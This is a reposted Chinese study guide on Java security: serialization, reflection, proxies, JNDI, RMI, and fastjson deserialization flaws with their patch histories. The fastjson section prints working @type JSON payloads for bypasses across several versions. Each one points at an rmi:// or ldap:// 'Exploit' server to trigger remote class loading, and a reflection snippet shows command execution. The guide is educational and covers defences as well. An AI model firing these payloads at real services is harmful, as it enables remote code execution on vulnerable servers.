【Java安全】基础汇总

news/2025/1/22 20:02:38/文章来源:https://www.cnblogs.com/o-O-oO/p/18686709

一、JAVA安全

1.1 java的序列化和反序列化

Java 序列化是指把 Java 对象转换为字节序列的过程ObjectOutputStream类的 writeObject() 方法可以实现序列化

Java 反序列化是指把字节序列恢复为 Java 对象的过程ObjectInputStream 类的 readObject() 方法用于反序列化。

1、序列化:将数据结构或者对象转换成字节流。

2、反序列化:将字节流恢复到原来的状态。

3、能反序列化的类必须继承Serializable接口。

4、什么是java反序列化漏洞?

客户端将服务端的某个对象进行序列化,服务端接受到序列化之后的数据在反序列化的时候触发了该对象的object方法中的一些危险逻辑代码。

5、反序列化在理论上只能去恢复对象,并控制他的字段值。但是如果要想造成额外的逻辑,需要配合一定的代码条件

6、java在进行反序列化的过程中,要是能够触发恶意代码,比较依赖于object函数(作用相当于php的魔术方法)。

1.2 浅析Java序列化和反序列化

https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#经典的apache-commons-collections

1.3 Java反序列化的防御方式

1、升级java版本。

2、使用黑白名单限制能够反序列化的类。

3、禁止 JVM 执行外部命令 Runtime.exec。通过扩展 SecurityManager 可以实现。

1.4 PHP序列化和java序列化

1、结果不同

PHP序列化的结果就是一串字符,人为可以构造。

java序列化的结果是二进制串。

2、php的在序列化和反序列化的时候,开发者并不能控制他序列化的内容。

java在反序列化的时候,可以插入一些自定义的数据,然后通过readObject方法去读取。

3、php反序列化漏洞的根本原因不是在序列化和反序列化的过程中触发漏洞,而是在反序列化之后可以控制对象的属性,进而触发一些危险的代码(通常是析构函数、魔术方法中)。

java是在反序列化的过程中,触发漏洞。根本原因就是可以控制反序列化的内容。

1.5 Java classloader加载过程

1、加载: 加载阶段既可以使用系统提供的加载器,也可以用户自定义类加载器来完成类的加载。

类的二进制字节流将按照JVM所需的格式存储在方法区中。
产生class对象。

2、链接

3、初始化阶段

初始化阶段才开始真正执行java代码。

https://mp.weixin.qq.com/s?__biz=MzI3MDE0NzYwNA==&mid=2651443305&idx=2&sn=0bbc6042ec6c0641f9a6e0b57ee146ef&chksm=f128f912c65f7004a847a600168a2393ad3d98e6131386a73459a2eaa7a5001fbf27647ac770&mpshare=1&scene=23&srcid=04279rhOvZ2uAVzmdtdqwDaF&sharer_sharetime=1619532417932&sharer_shareid=f11ed98102758401aa5143f997cb1287#rd

1.6 CC链的分析

https://xz.aliyun.com/t/9409https://paper.seebug.org/1242/

Java中的命令执行

1、Runtime类

该类的exec方法可以执行命令。

Runtime.getRuntime().exec("ifconfig")

该类是一个单例模式的类,具有私有的构造函数,无法直接 new 生成一个对象,需要调用类中的公共方法获取一个类对象,然后执行命令。

public static Runtime getRuntime() {return currentRuntime;}

执行exec方法之后,进而调用ProcessBuilder类的start方法。

然后start方法调用了ProcessImpl的start方法。

2、ProcessBuilder类的start方法

3、ProcessImpl类

该类的构造函数也是私有的,无法直接new一个对象。而且也没有函数去生成一个类。所以需要使用反射的来触发命令。

总结:

InputStream in = new ProcessBuilder("whoami").start().getInputStream();
InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
String[] cmds = new String[]{"whoami"};
Class clazz = Class.forName("java.lang.ProcessImpl");Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);

二、Java反射

1、运行期间,直接可以调用某个类的方法,而无需知道某个类的具体实例。一般来说使用某个类的方法或者属性,需要使用new关键字去生成一个实际例子,而反射不用。

2、反射常用的方式,比如Runtime类。

Runtime类,只有一个私有的构造函数,无法直接去生成一个类,需要先调用类中的公共方法来获取一个对象。

http://tengj.top/2016/04/28/javareflect/

三、Java代理

3.1 静态代理

1、静态代理需要一个委托类也就是原始类和一个代理类,代理类对原始类进行功能扩充。

2、如果接口增加方法,委托对象和代理对象都需要改变。

3.2 动态代理

1、运行时动态代理,代理类不需要实现接口,但是原始类需要接口。

2、代理类需要继承InvocationHandler类,并重写invoke方法。

3、需要测试类来运行代理类,测试类需要使用Proxy类。

动态代理与静态代理的区别:

动态代理不是去直接实现接口的类,而是使用Proxy.newProxyInstance()方法创建一个接口对象。

常用类:Proxy类、InvocationHandler类。

1、java代理可以更好的隐藏委托类,实现解耦。如果需要增加功能不需要去修改原始的类,只需要修改代理类即可。

代理方式:静态代理、动态代理、cglib代理。

通过代理模式,可以在不修改原对象的方法、属性等情况下,扩充原对象的功能。

四、Javafastjosn漏洞

什么是autotype功能?

允许用户在反序列化数据中通过"@type"指定反序列化的Class类型,如果开启这功能,攻击者可以指定恶意的类,在进行反序列化的时候,自动调用set、get方法来触发恶意命令。

https://blog.csdn.net/hosaos/article/details/106982555

1、主要使用阿里巴巴开发的开源库fastjson,作用是将json对象与java对象进行序列化与反序列化的转化。

2、两个主要方法:toJsonString和toparseObject。

3、在反序列化的时候可以指定type的值,parseObject方法能够触发type所指定的类的set和get方法。反序列化需要调用对应参数的setter、getter方法来恢复数据。

可以看到通过指定type的值为固定类,在反序列化的时候调用了对应set方法。如果set方法具有恶意代码,可以传入相应参数触发漏洞。

@type可以指定反序列化成服务器上的任意类
然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)

get、set方法并不是随便调用的需要符合一下条件:

set方法

get方法

4、在源代码中关于set和get方法的具体调用的逻辑在JavaBeanInfo中的build函数。

使用反射获取类的信息

然后分别判断set和get方法,最后返回JavaBeanInfo对象。

5、那么具体的set、get方法在哪里调用呢?

在com.alibaba.fastjson.parser.deserializer.FieldDeserializer调用set方法。

6、两条利用链:JdbcRowSetImpl和Templateslmpl。

  • JdbcRowSetImpl
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

@type:目标反序列化类名;

dataSourceName:RMI注册中心绑定恶意服务;

autoCommit:调用setAutoCommit方法,利用lookup方法加载远程对象。

JdbcRowSetImpl类调用了connect方法,在connect方法中使用了lookup方法,其中的参数我们可以控制所以造成了jndi注入。

成功获取到rmi服务

而aa名称在rmi服务端对应的是Reference类生成的对象,客户端请求时如果对象是Reference或者该类的子类,会采用工厂模式,那么客户端在获取对象的时候可以从其他服务器上加载class文件。在构造Reference对象的时候,可以构造恶意class对象的地址,当客户端本地找不到相应的类时,会去请求远程class对象,进造成恶意代码执行。

利用方式有:

  • jdni+rmi

  • jdni+ladp

【限制条件】

jndi注入和ladp注入具有限制条件:

Oracle JDK 6u132、JDK 7u122、JDK 8u113 之后,com.sun.jndi.rmi.object.trustURLCodebase 属性的默认值被调整为false。 属性默认为false时不允许远程加载类。

Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性默认为false时不允许远程加载类。

其实在fastjson的这个利用链中也是利用了能够执行set函数这一特点,主要利用了setDataSourceName、setAutoCommit两个函数,只不过在poc中给这几个函数传入了对应参数值。

所以poc也可以如下:

    import com.sun.rowset.JdbcRowSetImpl;public class CLIENT {public static void main(String[] args) throws Exception {JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uriJdbcRowSetImpl_inc.setAutoCommit(true);}}
  • Templateslmpl

构造恶意类,fastjson会调用恶意类的构造函数执行恶意命令。

在fastjson中并不是所有类的所有get、set方法都会被调用,get、set方法都必须符合某些要求。

该利用链比较苛刻,条件如下:
服务端使用parseObject()时,必须使用如下格式才能触发漏洞:

JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);

服务端使用parse()时,需要

JSON.parse(text1,Feature.SupportNonPublicField);

5、JdbcRowSetImpl利用链的绕过。

在该链中主要利用了jndi注入,但是java版本对其有限制。

jdk1.8.0_161 < 1.8u191可以使用ldap注入。

https://xz.aliyun.com/t/8979#toc-3

6、fastjson各版本的问题

1.2.24版本漏洞产生原因:

官方修复的具体方向:

@type属性主要是指定反序列化的类,然后调用对应的set、get方法,所以官方会去采用黑名单白名单限制加载某些恶意类。

🎈1.2.25-1.2.41 绕过

之前会对@type对应的类进行加载。现在会将值ref传入checkAutoType方法中,从1.2.25之后使用checkAutoType函数进行白名单黑名单验证。

该版本的限制策略

  • 配置参数AutoTypeSupport,默认为false,表示默认开启白名单。
  • 黑白名单限制。

在AutoTypeSupport为True的时候会关闭白名单,可以使用一下方式绕过:

在checkAutoType函数中,使用黑白名单进行过滤,然后在loadClass函数中进行判断,判断[的位置,以及是否以L开头或者;结尾。

可以看到在判断是否以L或者;结尾之后,将 L;去掉,重新加载类。
构造payload绕过:

"{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";

🎈1.2.42 绕过与修复

黑名单的类不能看见,但是通过哈希碰撞来得出黑名单中的类。将payload中的L和;去掉,但是只去掉了一次,我们可以双写绕过。

poc:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://127.0.0.1:1099/refObj", "autoCommit":true}

🎈1.2.43绕过与修复

如果检测到之前的绕过方式直接会抛出异常。

🎈1.2.45 绕过与修复

黑名单绕过

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

黑名单是不可靠的,因为以后可能会还出现具有漏洞的类,jdk,jar。

🎈1.2.25 - 1.2.47 绕过与修复

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/refObj","autoCommit":true}
}

具体原理

在DefaultJSONNParser类中调用checkAutoType,通过java.lang.class绕过黑名单。给StrVal参数赋值,也就是变成JdbcRowSetImpl类,然后通过TypeUtils.loadClass类进行加载。最后导致jdni注入。当缓存中存在指定类当时候可以不接受函数检查。

🎈1.2.62

org.apache.xbean.propertyeditor.JndiConverter类的toObjectImpl()函数存在JNDI注入漏洞,可由其构造函数处触发利用。

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://localhost:1389/Exploit"}

🎈1.2.66

涉及多条Gadget链,原理都是存在JDNI注入漏洞。

org.apache.shiro.realm.jndi.JndiRealmFactory类PoC

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}

br.com.anteros.dbcp.AnterosDBCPConfig类PoC

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}}
https://www.anquanke.com/post/id/232774#h3-6https://blog.csdn.net/hosaos/article/details/106982555https://patrilic.top/2020/03/14/Fastjson =< 1.2.47 反序列化漏洞分析/#0x02-漏洞分析https://drops.blbana.cc/2020/04/16/Fastjson历史补丁Bypass分析/#版本1-2-68https://blog.csdn.net/hosaos/article/details/106982555

那些FastJson漏洞不为人知的事情(开发角度)

https://www.freebuf.com/articles/web/258827.html

浅蓝师傅的博客

https://b1ue.cn/archives/184.html

五、Java的JNDI

1、JNDI主要是用来引用资源,通过一个名称可以引用对象或者服务,可以用来引用数据库配置文件,类似于实现解耦操作。也可以说提供一个映射或者关联。

2、具体用法就是通过lookup传递一个参数,来获取对象的对象或者服务。如果参数可控,可以造成jndi注入。

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");

3、jndi注入可以配合rmi服务来进行,当jndi的lookup去引用一个rmi服务端的References或者他的子类,在References类中有三个参数,其中两个参数可以指定远程加载的类名以及class文件的地址,当本地不存在该class的时候,会从指定的url中获取class文件,进而进行类的动态加载,导致恶意class文件中的代理执行。

4、在进行jdni注入的时候存在java版本的限制。在jdk8u121之后,通过设置系统变量com.sun.jndi.rmi.object.trustURLCodebae为falset,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。

jndi注入可以配合rmi服务,也可以配合LDAP服务。两者的区别就是lookup的参数不同。

分别是:rmi://ladp://

java官方分别对着两种注入方式做限制。分别使用com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.ldap.object.trustURLCodebase两个属性对其进行限制,默认值变为false,使其不能加载外部的class。即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。

否则会出现这种错误:

切换版本之后成功执行命令:

JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191

https://www.smi1e.top/java代码审计学习之jndi注入/

六、Java的rmi

1、java远程方法调用,一个jvm虚拟机可以调用另一个虚拟机的中的对象和方法。java对象的具体实现由服务端来操作,客户端只需调用对应的方法,输入相应的参数即可,调用。

2、客户端与服务端在行传递的时候是通过序列化和反序列化进行传递的。java虚拟机之间的通信所遵循的协议是jrmp协议,也就是类似于http协议。

3、在rmi中,客户端和服务端并不是真正的直接通信,客户端通过存根sub进行代理而服务端通过Skeleton进行代理。服务端并不是把远程对象直接传递给客户端,而是传递了一个远程对象的引用,也就是sub。sub包含了远程对象的信息以及服务端的地址等信息。sub是通过register注册表来获取的。

客户端使用lookup获取存根。

4、关于注册表的运行,有两种方式:
直接exe文件运行。
直接编程语言运行。

5、常用的方法

【服务端】:

需要一个接口A实现该Remote接口。
一个远程对象的实现类B继承UnicastRemoteObject类,并实现接口A。在该类中重写接口A中的方法。
一个测试类C创建register服务并绑定端口,然后将对应的类对象绑定到对应的名称。

【客户端】:

通过Naming.lookup找到对应的对象实例。
获取实例之后可以调用实例的方法。

rmi注册表:

注册表,提供一个映射关系,客户端通过名称向注册表查询,得到名称对应对远程对象。

远程对象:存在于服务端供客户端调用,远程对象的实现类必须继承UnicastRemoteObject类,必须实现Remote接口。只有在远程接口中声明的函数才能被远程调用,其他对象只能在本地虚拟机中调用。

域名⏩DNS⏩IP⏩目标机器。

远程对象的标识符⏩注册表(register rmi)⏩远程对象的引用⏩目标对象。

register rmi可以在服务端注册,也可以单独的在别的服务器注册,对应的端口是1099。对应的服务端客户端可以使用getRegistry函数。

服务端使用getRegistry函数来获取远程对象 Registry 的引用,然后把当前对象的存根发送到注册表中,以供客户端使用。

6、三者之间的关系

服务端向注册中心注册远程对象(通过一个名称与远程对象进行绑定)。

客户端向注册中心查询远程对象(也是通过一个名称查询远程对象)。

注册中心返回给客户端一个远程对象引用也就是sub。

客户端通过sub来调用远程对象的方法。

7、rmi的动态类加载

rmi不光可以绑定本地类对象,也可以绑定远程类对象。客户端在获取rmi服务端提供的类对象时,如果服务端本地无对应类对象,可以从远程服务获取对应的class文件,进而进行类加载。 远程URL地址是通过 java.rmi.server.codebase 属性去设置的。

【客户端】:服务端返回给客户端是类的实例,而客户端本地是没有具体的代码,客户端会从服务端指定的java.rmi.server.codebase加载对应class文件。

【服务端】:服务端同理,也会从客户端指定的java.rmi.server.codebase加载对应的class文件。

要想加载class文件,必须符合两种方法:

1、由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要开启RMI SecurityManager并且配置java.security.policy,这在后面的代码示例中可以看到。

2、属性 java.rmi.server.useCodebaseOnly 的值必须为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止JVM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

https://blog.csdn.net/bigtree_3721/article/details/50614289

七、RMI的安全问题

7.1 反序列化与序列化

1、客户端攻击RMI服务端。

原理

服务端存在一个类实现了Serializable接口,并具有Object方法,在Object方法中具有恶意代码。

流程

客户端获取到远程对象之后,调用远程对象到方法,客户端写一个与服务端包名,类名相同的类并继承普通类,把恶意payload当作参数传递。在执行代码的时候触发了服务端反序列化进而在导致服务端执行恶意payload。

注意

服务端的反序列化类的serialVersionUID与客户端的类需要保持一致。

2、服务端攻击客户端。

7.2 类的动态加载机制

如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库

1、客户端攻击服务端。

2、服务端攻击客户端。

总体来说在使用某个类的时候,优先加载本地的class文件,本地没有对应的class文件,所以会去指定的url加载远程的类。所以就要控制一个方法返回一个目标不存在的类,进而导致目标去远程加载类。

服务端对应的路径:

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

要求:

1、由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要开启RMI SecurityManager并且配置java.security.policy,这在后面的代码示例中可以看到。

2、属性 java.rmi.server.useCodebaseOnly 的值必须为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止JVM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

7.3 攻击注册中心

与注册中心交互的几种方法:

1、list
2、bind
3、rebind
4、rebind
5、lookup

当调用bind和rebind时,会用readObject读出参数名以及远程对象。所以可以构造一个恶意远程对象来注册到注册中心。

https://paper.seebug.org/1251/#_8https://paper.seebug.org/1194/https://xz.aliyun.com/t/7900#toc-10https://medium.com/@m01e/https-www-youtube-com-watch-v-tiojkiiklyu-t-21s-4229845bde85https://blog.csdn.net/bigtree_3721/article/details/50614289http://wjlshare.com/archives/1522https://xz.aliyun.com/t/7264https://blog.csdn.net/lmy86263/article/details/72594760?utm_source=app&app_version=4.5.8https://xz.aliyun.com/u/9272

客户端做的事情

1、获取远程对象,并调用远程对象方法。
服务端做的事情

1、定义继承Remote接口的接口

2、定义远程对象,并实现远程对象的具体方法。

3、注册Registry服务并绑定固定端口。

4、将远程对象与指定名称绑定,以供客户端使用。

7.4 RMI注册表

1、RMIRegistry也是远程对象。

2、服务端向注册表注册远程对象。

regist.bind("demo",rmiIstance);

3、客户端向注册表查询某个远程对象。

RMIServer.RMIinterface rm=(RMIServer.RMIinterface) Naming.lookup("rmi://127.0.0.1:1099/demo");

7.5 传输的数据类型

1、基本数据类型

2、对象

3、如果是对象相应的类必须实现Serializable接口,并且客户端的serialVersionUID字段要与服务器端保持一致。

4、任何可以被远程调用的方法的对象必须实现remote接口,并且远程对象的实现类必须继承UnicastRemoteObject方法。

7.6 RMI远程调用逻辑

客户端与服务端并不是直接通信,客户端通过一个sub存根来与服务端进行通信。

1、客户端通过sub进行代理。

2、服务端通过skeleton进行代理。

7.7 RMI服务端类动态加载

服务端返回某个对象的实例的时候,客户端可能没有对应类的class文件。客户端可以通过url下载web服务上的class文件,进行类的动态下载。

在rmi进行数据传递的时候,使用序列化进行传递,但是序列化只是序列化数据,只是传递数据,但是真正的逻辑代码是没有传递过去。所以rmi提供codebase来取回类代码。

JNDI References

1、RMI服务端主要是进行对象绑定,一般只能绑定本地的对象,还可以通过References类来绑定一个外部的远程对象。

2、但是高版本的java对加载远程对象具有限制。

通过设定trustCodebaseURL,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。

https://www.smi1e.top/java代码审计学习之jndi注入/
https://paper.seebug.org/1091/#jndi

原创 摆烂的beizeng 土拨鼠的安全屋

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/873401.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

云计算和服务器

一、云计算概述 ICT是世界电信协会在2001年的全球性会议上提出的综合性概念,ICT分为IT和CT,IT(information technology)信息技术,负责对数据生命周期的管理;CT(communication technology),负责数据的传输管理。 CT技术是ICT技术栈的底核。 1、计算机 计算机是现代一种…

movfuscator学习

demovfuscator docker镜像 - 狗小剩就是利用32位mov的图灵完备性,来代替各种代码(32位汇编太逆天了).如果看到只有mov就知道是这b玩意了,不过这种程序性能肯定不行,代码段也好长.可以利用ida查锁定字节码的范围,查相应的字符串. demovfuscator问题太多了,一个是识别c的代码无法…

中考英语优秀范文-016 How to keep a good relationship with parents 如何与父母保持良好的关系

1 写作要求 某英文报社正就青少年与父母关系这一话题开展题为“How to keep a good relationship with parents”的征文活动。请你根据以下要点, 写一篇80个词左右的英语短文参加此次活动: 1 父母规矩太多, 过于强调学习成绩, 不理解自己等问题; 2 你对这些问题的看法; 3 你与父…

KubeSphere 开源社区 2024 年度回顾与致谢

随着 2024 年圆满落幕,我们回顾 KubeSphere 社区这一年走过的每一步,感慨万千。2024 年,KubeSphere 继续领跑云原生技术的创新与发展,推动开源文化的传播,致力于为全球开发者和企业用户提供更强大的平台和解决方案。感谢每一位社区成员的辛勤付出,正是因为你们的共同努力…

云--什么是云

https://whatiscloud.com/

城市生命线安全保障:技术应用与策略创新

城市生命线工程是维系城市正常运行、满足群众生产生活需要的重要基础设施。随着城市化进程的加快,城市基础设施生命线安全运行的复杂性日益加剧,保障城市居民日常生活正常运行的水、电、气、热等各类地下管线以及桥梁、市政设施、轨道交通等城市基础设施的安全问题日益突出。…

Android图形层垂直同步虚拟VSYNC机制

简介 某次调图形性能的时候(启动后台录屏,下(或)称case)发现Android SurfaceFlinger Vsync机制并没有以前想的这么简单粗糙,特别是这次调图形性能发现一些跟Vsync有关联,因此做个总结详解。 跟不上旋律节奏的VSYNC 一份追踪报告,发现Vsync信号非常不规律,于是从这里入手…

[日志] 打印异常堆栈信息的技巧

序Java的异常堆栈信息,对提升排查问题的效率,有极大的帮助————便于我们快速定位异常的发生过程和发生异常的代码行。本文使用的日志框架slf4j : 1.7.25 log4j(2) : 2.20.0 日志行的打印策略 : log4j2.properties# property.log.layout.consolePattern=%d{yyyy/MM/dd HH:m…

【vjudge训练记录】大一寒假专项训练——前缀和/差分

训练情况A题 前缀和模板题,我们输入完 \(a_i\) 后直接求前缀和 \(a_i = a_i + a_{i-1}\),求区间 \([l,r]\) 的和就为 \(a_r-a_{l-1}\)点击查看代码 #include <bits/stdc++.h> #define int long long #define endl \nusing namespace std;void solve(){int n,m;cin>&…

VSCode使用之go语言配置

时间:2025/1/22 扩展:go 目的:支持go语言,方便安装其他必备插件安装该扩展包后可以执行该扩展包提供的命令Go:Install/Update Tools来进一步扩展go工具执行命令的窗口可以通过Ctrol+Shift+P调出点击后会出现很多选项,可以根据自己需要勾选然后点击确定,等待下载安装,一般情…

VSCode设置之默认在当前文件目录下打开终端

在vscode界面依次点击“文件”→“首选项”→“设置”→“用户”→“功能”→“终端”,找到Integrated:Cwd选项,将其值修改为”${fileDirname}“,即可在所有打开的工程内实现终端默认在当前文件的路径启动